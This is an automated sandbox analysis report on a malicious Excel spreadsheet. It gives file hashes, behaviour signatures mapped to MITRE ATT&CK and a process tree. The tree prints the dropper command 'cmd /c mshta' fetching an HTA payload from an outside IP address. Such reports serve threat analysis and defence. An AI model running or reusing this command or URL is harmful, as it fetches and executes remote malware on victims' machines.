ddbdcb17e0df3322fbfc358be914db0e321ba163a4b88c136da0af0c2375c188

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 16:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ddbdcb17e0df3322fbfc358be914db0e321ba163a4b88c136da0af0c2375c188.xls
Size

104KB
MD5

b35f5fd8699cc21aef5d5212afe93a0e
SHA1

0cf906e5b8f2454ede372926d8dad040c439173c
SHA256

ddbdcb17e0df3322fbfc358be914db0e321ba163a4b88c136da0af0c2375c188
SHA512

582fb054549437592f5cb5a9fbac834ae0c3290dee12fc518976fc8e4423525c4760fb42a7294cbee9525b805a24c4a1d94da65c55b9d65ba522ae743962a073
SSDEEP

3072:CGk3hbdlylKsgqopeJBWhZFGkE+cL2NdAydb4oifHMVhoSc2vUz3UWDG:Hk3hbdlylKsgqopeJBWhZFVE+W2NdAyu

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/qw/as/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2400	2184	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2692	mshta.exe
7	2692	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2184	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2184	EXCEL.EXE
2184	EXCEL.EXE
2184	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2184 wrote to memory of 2400	2184	EXCEL.EXE	30
PID 2184 wrote to memory of 2400	2184	EXCEL.EXE	30
PID 2184 wrote to memory of 2400	2184	EXCEL.EXE	30
PID 2184 wrote to memory of 2400	2184	EXCEL.EXE	30
PID 2400 wrote to memory of 2692	2400	cmd.exe	32
PID 2400 wrote to memory of 2692	2400	cmd.exe	32
PID 2400 wrote to memory of 2692	2400	cmd.exe	32
PID 2400 wrote to memory of 2692	2400	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ddbdcb17e0df3322fbfc358be914db0e321ba163a4b88c136da0af0c2375c188.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Windows\SysWOW64\cmd.exe
  cmd /c mshta http://91.240.118.168/qw/as/se.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.168/qw/as/se.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2184-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2184-1-0x0000000071D4D000-0x0000000071D58000-memory.dmp

Filesize
44KB

Download
memory/2184-2-0x0000000071D4D000-0x0000000071D58000-memory.dmp

Filesize
44KB

Download